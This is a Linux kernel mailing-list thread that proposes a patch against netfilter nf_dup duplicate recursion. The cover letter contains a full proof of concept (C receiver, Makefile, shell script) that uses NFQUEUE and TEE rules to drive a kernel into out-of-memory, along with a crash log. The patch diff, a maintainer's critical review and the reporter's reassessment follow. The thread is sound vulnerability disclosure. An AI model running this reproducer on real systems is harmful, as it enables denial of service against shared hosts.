* [PATCH nf 0/1] netfilter: nf_dup: prevent asynchronous duplicate recursion
@ 2026-08-29 5:19 Zihan Xi
2026-08-29 5:19 ` [PATCH nf 1/1] " Zihan Xi
0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-08-29 5:19 UTC (permalink / raw)
To: Pablo Neira Ayuso, Florian Westphal, David S . Miller,
Eric Dumazet, Jakub Kicinski, Paolo Abeni
Cc: Phil Sutter, Simon Horman, netfilter-devel, netdev, linux-kernel,
coreteam, Zihan Xi
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv6/netfilter/nf_dup_ipv6.c. The bug is
reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
nf_dup_ipv4() and nf_dup_ipv6() prevent recursive TEE targets and nftables
dup expressions only with current->in_nf_duplicate. The flag covers the
synchronous ip_local_out() or ip6_local_out() call, but it is cleared when
the output function returns.
An earlier NFQUEUE hook can retain the cloned skb while letting the output
function return. A later NF_ACCEPT verdict resumes the same skb at the hook
after the queueing rule, under the verdict task and after the task flag was
cleared. A later TEE target or dup expression can therefore clone it again.
An earlier queue hook and a later duplication hook form an unbounded packet
generation loop. The same root cause is reachable through IPv4, IPv6,
xtables, nftables, and mixed frontend rule sets.
The patch records the duplication state in the cloned skb and rejects a
second duplication when either the task or skb guard is set. Normal skb
header copies retain the bit, while nf_copy() propagates it to IPv4 and IPv6
fragments. The task flag remains in place for synchronous recursion and the
alternate xtables jumpstack.
The root cause predates the later helper extraction and nftables caller.
Commit cd58bcd9787e ("netfilter: xt_TEE: have cloned packet travel through
Xtables too") changed TEE clones from direct ip_output()/ip6_output() to
ip_local_out()/ip6_local_out() and introduced a transient tee_active guard.
Its parent bypassed clone traversal through Xtables, so the current
queue-after-guard-lifetime state did not exist there. Commit bbde9fc1824a
factored the logic into nf_dup_ipv4()/nf_dup_ipv6(), commit d877f07112f1
added nftables dup callers, and commit a1f1acb9c5db moved the same transient
guard into task_struct. Those later commits preserved or widened the older
root cause, so the Fixes tag points to cd58bcd9787e.
The crash log below was produced by the unpatched baseline during a root run
of this reproducer. It was decoded with decode_stacktrace.sh using the
matching vmlinux, so source file and line information is included.
Reproducer:
make
PANIC_ON_OOM=0 QUEUE_COUNT=1 TEE_CLONES=1 PAYLOAD=1 \
bash ./poc.sh --userns
The complete multi-file reproducer uses libnetfilter_queue. The Makefile
links the receiver with -lnetfilter_queue -lnfnetlink; poc.sh installs the
NFQUEUE and TEE rules and sends the IPv6 UDP traffic. The two-line template
shorthand below is receiver-only reference, not the complete trigger. It
does not install rules or send traffic, and the standalone receiver also
requires the two libraries above:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
The crash run used:
PANIC_ON_OOM=1 bash ./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
This describes both the controlled comparison and the crash run. The crash
log reports CPU: 1, consistent with the 2-vCPU guest.
packetdrill was not used because the trigger requires a userspace
libnetfilter_queue verdict service together with ip6tables NFQUEUE/TEE rule
installation, which packetdrill cannot express by itself.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/netfilter.h>
#include <linux/netlink.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>
#include <libnetfilter_queue/libnetfilter_queue.h>
static volatile sig_atomic_t stop;
static uint64_t packets_seen;
static uint64_t last_report;
static struct timespec start_ts;
static void on_signal(int signo)
{
(void)signo;
stop = 1;
}
static void report_progress(bool force)
{
struct timespec now;
double seconds;
if (!force && packets_seen - last_report < 1000)
return;
if (clock_gettime(CLOCK_MONOTONIC, &now) != 0)
return;
seconds = (now.tv_sec - start_ts.tv_sec) +
(now.tv_nsec - start_ts.tv_nsec) / 1000000000.0;
fprintf(stderr, "accepted=%llu elapsed=%.3f rate=%.0f pkt/s\n",
(unsigned long long)packets_seen, seconds,
seconds > 0.0 ? packets_seen / seconds : 0.0);
last_report = packets_seen;
}
static int queue_cb(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg,
struct nfq_data *nfa, void *data)
{
struct nfqnl_msg_packet_hdr *ph;
uint32_t id = 0;
(void)nfmsg;
(void)data;
ph = nfq_get_msg_packet_hdr(nfa);
if (ph)
id = ntohl(ph->packet_id);
packets_seen++;
report_progress(false);
return nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL);
}
int main(int argc, char **argv)
{
struct nfq_handle *h = NULL;
struct nfq_q_handle *qh = NULL;
int fd;
int queue_num = 0;
int rv;
int ret = 1;
int one = 1;
int rcvbuf = 512 * 1024 * 1024;
unsigned int maxlen = 65535;
char buf[8192] __attribute__((aligned));
if (argc > 2) {
fprintf(stderr, "usage: %s [queue-num]\n", argv[0]);
return 2;
}
if (argc == 2)
queue_num = atoi(argv[1]);
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
if (clock_gettime(CLOCK_MONOTONIC, &start_ts) != 0) {
perror("clock_gettime");
return 1;
}
h = nfq_open();
if (!h) {
perror("nfq_open");
goto out;
}
if (nfq_unbind_pf(h, AF_INET6) < 0)
fprintf(stderr, "warning: nfq_unbind_pf(AF_INET6) failed\n");
if (nfq_bind_pf(h, AF_INET6) < 0) {
perror("nfq_bind_pf(AF_INET6)");
goto out;
}
qh = nfq_create_queue(h, (uint16_t)queue_num, queue_cb, NULL);
if (!qh) {
perror("nfq_create_queue");
goto out;
}
if (nfq_set_mode(qh, NFQNL_COPY_META, 0) < 0) {
perror("nfq_set_mode");
goto out;
}
if (nfq_set_queue_maxlen(qh, maxlen) < 0)
fprintf(stderr, "warning: nfq_set_queue_maxlen(%u) failed\n", maxlen);
fd = nfq_fd(h);
if (setsockopt(fd, SOL_SOCKET, SO_RCVBUFFORCE, &rcvbuf,
sizeof(rcvbuf)) < 0 &&
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0)
fprintf(stderr, "warning: socket receive buffer setup failed: %s\n",
strerror(errno));
if (setsockopt(fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &one, sizeof(one)) < 0)
fprintf(stderr, "warning: NETLINK_NO_ENOBUFS failed: %s\n",
strerror(errno));
while (!stop) {
rv = recv(fd, buf, sizeof(buf), 0);
if (rv >= 0) {
if (nfq_handle_packet(h, buf, rv) < 0) {
perror("nfq_handle_packet");
break;
}
continue;
}
if (errno == EINTR)
continue;
if (errno == ENOBUFS)
continue;
perror("recv");
break;
}
report_progress(true);
ret = 0;
out:
if (qh)
nfq_destroy_queue(qh);
if (h)
nfq_close(h);
return ret;
}
------END poc.c--------
------BEGIN Makefile------
CC ?= gcc
CFLAGS ?= -O2 -Wall -Wextra
LDLIBS ?= -lnetfilter_queue -lnfnetlink
all: poc
poc: poc.c
clean:
rm -f poc
------END Makefile--------
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)
IP=/usr/sbin/ip
IP6TABLES=/usr/sbin/ip6tables-legacy
SYSCTL=/usr/sbin/sysctl
export XTABLES_LOCKFILE=${XTABLES_LOCKFILE:-$SCRIPT_DIR/xtables.lock}
QUEUE_COUNT=${QUEUE_COUNT:-18}
BASE_PORT=${BASE_PORT:-5555}
PAYLOAD=${PAYLOAD:-60000}
TEE_CLONES=${TEE_CLONES:-2}
PANIC_ON_OOM=${PANIC_ON_OOM:-1}
PANIC_ON_WARN=${PANIC_ON_WARN:-0}
if [[ ${1-} == "--userns" ]]; then
exec unshare -Urn -- "$0" --inside-userns
fi
if [[ ${1-} == "--inside-userns" ]]; then
shift
fi
cleanup() {
"$IP6TABLES" -t raw -F OUTPUT 2>/dev/null || true
"$IP6TABLES" -t mangle -F OUTPUT 2>/dev/null || true
for pid in "${acceptor_pids[@]-}"; do
kill "$pid" 2>/dev/null || true
done
for pid in "${acceptor_pids[@]-}"; do
wait "$pid" 2>/dev/null || true
done
}
trap cleanup EXIT
"$IP" link set lo up
"$SYSCTL" -q -w kernel.panic_on_warn="$PANIC_ON_WARN" || true
"$SYSCTL" -q -w vm.panic_on_oom="$PANIC_ON_OOM" || true
"$SYSCTL" -q -w net.core.rmem_max=536870912 || true
"$SYSCTL" -q -w net.core.rmem_default=536870912 || true
"$SYSCTL" -q -w net.netfilter.nf_queue_maxlen=65535 || true
make -C "$SCRIPT_DIR" clean all
"$IP6TABLES" -t raw -F OUTPUT
"$IP6TABLES" -t mangle -F OUTPUT
acceptor_pids=()
for q in $(seq 0 $((QUEUE_COUNT - 1))); do
port=$((BASE_PORT + q))
"$IP6TABLES" -t raw -A OUTPUT \
-p udp -d ::1 --dport "$port" \
-j NFQUEUE --queue-num "$q"
for _ in $(seq 1 "$TEE_CLONES"); do
"$IP6TABLES" -t mangle -A OUTPUT \
-p udp -d ::1 --dport "$port" \
-j TEE --gateway ::1 --oif lo
done
"$SCRIPT_DIR/poc" "$q" >"$SCRIPT_DIR/acceptor-$q.log" 2>&1 &
acceptor_pids+=("$!")
done
sleep 1
python3 - "$BASE_PORT" "$QUEUE_COUNT" "$PAYLOAD" <<'PY'
import socket
import sys
base_port = int(sys.argv[1])
queue_count = int(sys.argv[2])
payload_len = int(sys.argv[3])
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
for offset in range(queue_count):
dport = base_port + offset
s.sendto(b"A" * payload_len, ("::1", dport))
print("sent", payload_len, "bytes to ::1", dport)
PY
echo "PoC is active. Queue state:"
cat /proc/net/netfilter/nfnetlink_queue 2>/dev/null || true
wait
------END poc.sh--------
----BEGIN crash log----
[ 41.727564] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[ 41.749001] CPU: 1 UID: 0 PID: 91 Comm: systemd-journal Not tainted 7.2.0-07242-g7cbfb180945c #1 PREEMPT(lazy)
[ 41.774942] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 41.804442] Call Trace:
[ 41.810996] <TASK>
[ 41.817782] vpanic (kernel/panic.c:651)
[ 41.827657] panic (kernel/panic.c:788)
[ 41.837426] out_of_memory (mm/oom_kill.c:1076 (discriminator 4) mm/oom_kill.c:1143 (discriminator 4))
[ 41.849070] __alloc_frozen_pages_noprof (mm/page_alloc.c:4116 mm/page_alloc.c:4967 mm/page_alloc.c:5317)
[ 41.864629] ? blk_finish_plug (block/blk-core.c:1293)
[ 41.878318] alloc_pages_mpol (mm/mempolicy.c:2490)
[ 41.893205] folio_alloc_noprof (mm/mempolicy.c:2561 (discriminator 1) mm/mempolicy.c:2581 (discriminator 1) mm/mempolicy.c:2591 (discriminator 1))
[ 41.907427] __filemap_get_folio_mpol (mm/filemap.c:2018 (discriminator 2))
[ 41.925721] filemap_fault (include/linux/pagemap.h:761 mm/filemap.c:3598)
[ 41.938653] __do_fault (mm/memory.c:5425)
[ 41.950917] __handle_mm_fault (mm/memory.c:5860 mm/memory.c:5994 mm/memory.c:4566 mm/memory.c:6379 mm/memory.c:6517)
[ 41.966132] handle_mm_fault (mm/memory.c:6686)
[ 41.980871] do_user_addr_fault (arch/x86/mm/fault.c:1343)
[ 41.993516] exc_page_fault (arch/x86/mm/fault.c:1483 arch/x86/mm/fault.c:1536)
[ 42.007098] asm_exc_page_fault (arch/x86/include/asm/idtentry.h:595)
[ 42.020389] RIP: 0033:0x7f85625ebff9
[ 42.034319] Code: Unable to access opcode bytes at 0x7f85625ebfcf.
Code starting with the faulting instruction
===========================================
[ 42.054294] RSP: 002b:00007ffc20d6b660 EFLAGS: 00010202
[ 42.072734] RAX: 0000000000000001 RBX: 000055b7f426f600 RCX: 00007f8562328df6
[ 42.090030] RDX: 0000000000000013 RSI: 000055b7f4277030 RDI: 0000000000000000
[ 42.108167] RBP: ffffffffffffffff R08: 0000000000000000 R09: 00007f85626c8000
[ 42.131161] R10: 00000000ffffffff R11: 0000000000000000 R12: 0000000000000001
[ 42.153849] R13: 0000000000000013 R14: 0000000000000000 R15: 0000000000000000
[ 42.180119] </TASK>
[ 42.188961] Kernel Offset: 0x24000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[ 42.228760] ---[ end Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled ]---
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
netfilter: nf_dup: prevent asynchronous duplicate recursion
include/linux/skbuff.h | 7 +++++++
net/ipv4/netfilter/nf_dup_ipv4.c | 3 ++-
net/ipv6/netfilter/nf_dup_ipv6.c | 3 ++-
3 files changed, 11 insertions(+), 2 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 4+ messages in thread* [PATCH nf 1/1] netfilter: nf_dup: prevent asynchronous duplicate recursion
2026-08-29 5:19 [PATCH nf 0/1] netfilter: nf_dup: prevent asynchronous duplicate recursion Zihan Xi
@ 2026-08-29 5:19 ` Zihan Xi
2026-08-29 9:27 ` Florian Westphal
0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-08-29 5:19 UTC (permalink / raw)
To: Pablo Neira Ayuso, Florian Westphal, David S . Miller,
Eric Dumazet, Jakub Kicinski, Paolo Abeni
Cc: Phil Sutter, Simon Horman, netfilter-devel, netdev, linux-kernel,
coreteam, Zihan Xi, stable, Vega
nf_dup_ipv4() and nf_dup_ipv6() use current->in_nf_duplicate to keep
duplicated packets from being duplicated again while ip_local_out() or
ip6_local_out() walks netfilter hooks. The task flag is cleared as soon
as the output function returns.
NFQUEUE can retain a duplicate and return from the output hook. A later
NF_ACCEPT verdict resumes the same skb at the following hook from the
verdict task, after in_nf_duplicate has been cleared. A later TEE target
or dup expression can then duplicate it again. With an earlier queue
hook and a later duplication hook, one packet can sustain an unbounded
packet generation loop.
Record the duplication state in the cloned skb as well as the task. The
skb flag survives queuing, reinjection, and skb metadata copies, so an
asynchronously resumed duplicate cannot enter either IPv4 or IPv6
duplication helper again. Copy the flag through nf_copy() so fragments
retain the same state. Keep the task flag for the nested xtables jumpstack.
Fixes: cd58bcd9787e ("netfilter: xt_TEE: have cloned packet travel through Xtables too")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
include/linux/skbuff.h | 7 +++++++
net/ipv4/netfilter/nf_dup_ipv4.c | 3 ++-
net/ipv6/netfilter/nf_dup_ipv6.c | 3 ++-
3 files changed, 11 insertions(+), 2 deletions(-)
diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 5522716df8ff..f5c7b7b1cede 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -812,6 +812,7 @@ enum skb_tstamp_type {
* @redirected: packet was redirected by packet classifier
* @from_ingress: packet was redirected from the ingress path
* @nf_skip_egress: packet shall skip nf egress - see netfilter_netdev.h
+ * @nf_duplicated: packet was generated by a netfilter duplication action
* @peeked: this packet has been seen already, so stats have been
* done for it, don't do them again
* @nf_trace: netfilter packet trace flag
@@ -1023,6 +1024,9 @@ struct sk_buff {
#ifdef CONFIG_NETFILTER_SKIP_EGRESS
__u8 nf_skip_egress:1;
#endif
+#if IS_ENABLED(CONFIG_NF_DUP_IPV4) || IS_ENABLED(CONFIG_NF_DUP_IPV6)
+ __u8 nf_duplicated:1;
+#endif
#ifdef CONFIG_SKB_DECRYPTED
__u8 decrypted:1;
#endif
@@ -5200,6 +5204,9 @@ static inline void nf_copy(struct sk_buff *dst, const struct sk_buff *src)
nf_conntrack_put(skb_nfct(dst));
#endif
dst->slow_gro = src->slow_gro;
+#if IS_ENABLED(CONFIG_NF_DUP_IPV4) || IS_ENABLED(CONFIG_NF_DUP_IPV6)
+ dst->nf_duplicated = src->nf_duplicated;
+#endif
__nf_copy(dst, src, true);
}
diff --git a/net/ipv4/netfilter/nf_dup_ipv4.c b/net/ipv4/netfilter/nf_dup_ipv4.c
index 9a773502f10a..8fe31a0db063 100644
--- a/net/ipv4/netfilter/nf_dup_ipv4.c
+++ b/net/ipv4/netfilter/nf_dup_ipv4.c
@@ -54,7 +54,7 @@ void nf_dup_ipv4(struct net *net, struct sk_buff *skb, unsigned int hooknum,
struct iphdr *iph;
local_bh_disable();
- if (current->in_nf_duplicate)
+ if (current->in_nf_duplicate || skb->nf_duplicated)
goto out;
/*
* Copy the skb, and route the copy. Will later return %XT_CONTINUE for
@@ -86,6 +86,7 @@ void nf_dup_ipv4(struct net *net, struct sk_buff *skb, unsigned int hooknum,
--iph->ttl;
if (nf_dup_ipv4_route(net, skb, gw, oif)) {
+ skb->nf_duplicated = 1;
current->in_nf_duplicate = true;
ip_local_out(net, skb->sk, skb);
current->in_nf_duplicate = false;
diff --git a/net/ipv6/netfilter/nf_dup_ipv6.c b/net/ipv6/netfilter/nf_dup_ipv6.c
index 6da3102b7c1b..e0fdb43d7d3d 100644
--- a/net/ipv6/netfilter/nf_dup_ipv6.c
+++ b/net/ipv6/netfilter/nf_dup_ipv6.c
@@ -48,7 +48,7 @@ void nf_dup_ipv6(struct net *net, struct sk_buff *skb, unsigned int hooknum,
const struct in6_addr *gw, int oif)
{
local_bh_disable();
- if (current->in_nf_duplicate)
+ if (current->in_nf_duplicate || skb->nf_duplicated)
goto out;
skb = pskb_copy(skb, GFP_ATOMIC);
if (skb == NULL)
@@ -64,6 +64,7 @@ void nf_dup_ipv6(struct net *net, struct sk_buff *skb, unsigned int hooknum,
--iph->hop_limit;
}
if (nf_dup_ipv6_route(net, skb, gw, oif)) {
+ skb->nf_duplicated = 1;
current->in_nf_duplicate = true;
ip6_local_out(net, skb->sk, skb);
current->in_nf_duplicate = false;
--
2.43.0
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [PATCH nf 1/1] netfilter: nf_dup: prevent asynchronous duplicate recursion
2026-08-29 5:19 ` [PATCH nf 1/1] " Zihan Xi
@ 2026-08-29 9:27 ` Florian Westphal
2026-08-29 12:20 ` zihan xi
0 siblings, 1 reply; 4+ messages in thread
From: Florian Westphal @ 2026-08-29 9:27 UTC (permalink / raw)
To: Zihan Xi
Cc: Pablo Neira Ayuso, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Phil Sutter, Simon Horman,
netfilter-devel, netdev, linux-kernel, coreteam, stable, Vega
Zihan Xi <zihanx@nebusec.ai> wrote:
> nf_dup_ipv4() and nf_dup_ipv6() use current->in_nf_duplicate to keep
> duplicated packets from being duplicated again while ip_local_out() or
> ip6_local_out() walks netfilter hooks. The task flag is cleared as soon
> as the output function returns.
>
> NFQUEUE can retain a duplicate and return from the output hook. A later
> NF_ACCEPT verdict resumes the same skb at the following hook from the
> verdict task, after in_nf_duplicate has been cleared. A later TEE target
> or dup expression can then duplicate it again. With an earlier queue
> hook and a later duplication hook, one packet can sustain an unbounded
> packet generation loop.
>
> Record the duplication state in the cloned skb as well as the task. The
> skb flag survives queuing, reinjection, and skb metadata copies, so an
> asynchronously resumed duplicate cannot enter either IPv4 or IPv6
> duplication helper again. Copy the flag through nf_copy() so fragments
> retain the same state. Keep the task flag for the nested xtables jumpstack.
Not sure about this one. I think this is a case of "behaves as
intended", you get oops because you *ask* the kernel to oops.
I think there are a great many other ways to OOM the kernel,
outside of dup/TEE/nfqueue.
IFF we prented that this is a real problem, then I would
prefer to solve this in nf_dup, not involving sk_buff changes.
I cannot see a sensible use case for nf_dup outside of
physical hardware (sending packets to some external
packet logging machine for instance).
So. I think a better solution would be to either disable
dup in user namespaces entirely, or, restore the "old" behaviour
of passing the clone directly (no reentry) if we were configured
from user namespace.
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH nf 1/1] netfilter: nf_dup: prevent asynchronous duplicate recursion
2026-08-29 9:27 ` Florian Westphal
@ 2026-08-29 12:20 ` zihan xi
0 siblings, 0 replies; 4+ messages in thread
From: zihan xi @ 2026-08-29 12:20 UTC (permalink / raw)
To: Florian Westphal
Cc: Pablo Neira Ayuso, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Phil Sutter, Simon Horman,
netfilter-devel, netdev, linux-kernel, coreteam, stable, Vega
On Sat, Aug 29, 2026 at 5:27 PM Florian Westphal <fw@strlen.de> wrote:
>
> Zihan Xi <zihanx@nebusec.ai> wrote:
> > nf_dup_ipv4() and nf_dup_ipv6() use current->in_nf_duplicate to keep
> > duplicated packets from being duplicated again while ip_local_out() or
> > ip6_local_out() walks netfilter hooks. The task flag is cleared as soon
> > as the output function returns.
> >
> > NFQUEUE can retain a duplicate and return from the output hook. A later
> > NF_ACCEPT verdict resumes the same skb at the following hook from the
> > verdict task, after in_nf_duplicate has been cleared. A later TEE target
> > or dup expression can then duplicate it again. With an earlier queue
> > hook and a later duplication hook, one packet can sustain an unbounded
> > packet generation loop.
> >
> > Record the duplication state in the cloned skb as well as the task. The
> > skb flag survives queuing, reinjection, and skb metadata copies, so an
> > asynchronously resumed duplicate cannot enter either IPv4 or IPv6
> > duplication helper again. Copy the flag through nf_copy() so fragments
> > retain the same state. Keep the task flag for the nested xtables jumpstack.
>
> Not sure about this one. I think this is a case of "behaves as
> intended", you get oops because you *ask* the kernel to oops.
>
> I think there are a great many other ways to OOM the kernel,
> outside of dup/TEE/nfqueue.
>
> IFF we prented that this is a real problem, then I would
> prefer to solve this in nf_dup, not involving sk_buff changes.
>
> I cannot see a sensible use case for nf_dup outside of
> physical hardware (sending packets to some external
> packet logging machine for instance).
>
> So. I think a better solution would be to either disable
> dup in user namespaces entirely, or, restore the "old" behaviour
> of passing the clone directly (no reentry) if we were configured
> from user namespace.
Hi Florian,
Thanks for the review and for outlining the two possible directions.
I take your suggestion to mean that, if we decide this is worth addressing, the
fix should stay within nf_dup rather than add state to struct sk_buff. Before
deciding whether to pursue a patch, I rechecked the practical impact.
The current reproducer intentionally drives the system into OOM, and this is
not a memory-corruption issue. An unprivileged trigger requires user and
network namespaces, NFQUEUE, TEE/dup support, and a userspace verdict service.
CAP_NET_ADMIN is available in the child network namespace when user namespaces
are enabled. However, vm.panic_on_oom is global and cannot be enabled by the
child namespace. With the normal panic_on_oom=0 setting, the demonstrated effect
is resource pressure and possible OOM-killer activity, rather than a direct
kernel panic. I have not demonstrated privilege escalation or a memory-safety
impact.
The crash log in the cover letter came from a separate root validation run with
panic_on_oom=1. It should not be taken as evidence that an unprivileged user can
directly panic the host.
Based on this reassessment, I do not think the original struct sk_buff guard
series is justified. My current preference is therefore to withdraw that
series, unless you think a defense-in-depth change is still desirable.
If you do prefer to keep a small nf_dup-only change, I can prepare either:
1. disable IPv4/IPv6 dup in network namespaces owned by a non-initial user
namespace; or
2. restore the historical direct ip_output()/ip6_output() path there.
The second option preserves one duplicate but bypasses the clone's LOCAL_OUT and
POST_ROUTING netfilter processing, so it changes observable semantics. The
first option removes dup/TEE functionality in those namespaces but avoids that
hook bypass.
Please let me know whether you prefer that I withdraw the series or prepare one
of these defense-in-depth changes. I will hold off on sending a v2 of the
struct sk_buff-field patch until then.
Best regards,
Zihan Xi
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-08-29 12:21 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-08-29 5:19 [PATCH nf 0/1] netfilter: nf_dup: prevent asynchronous duplicate recursion Zihan Xi
2026-08-29 5:19 ` [PATCH nf 1/1] " Zihan Xi
2026-08-29 9:27 ` Florian Westphal
2026-08-29 12:20 ` zihan xi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®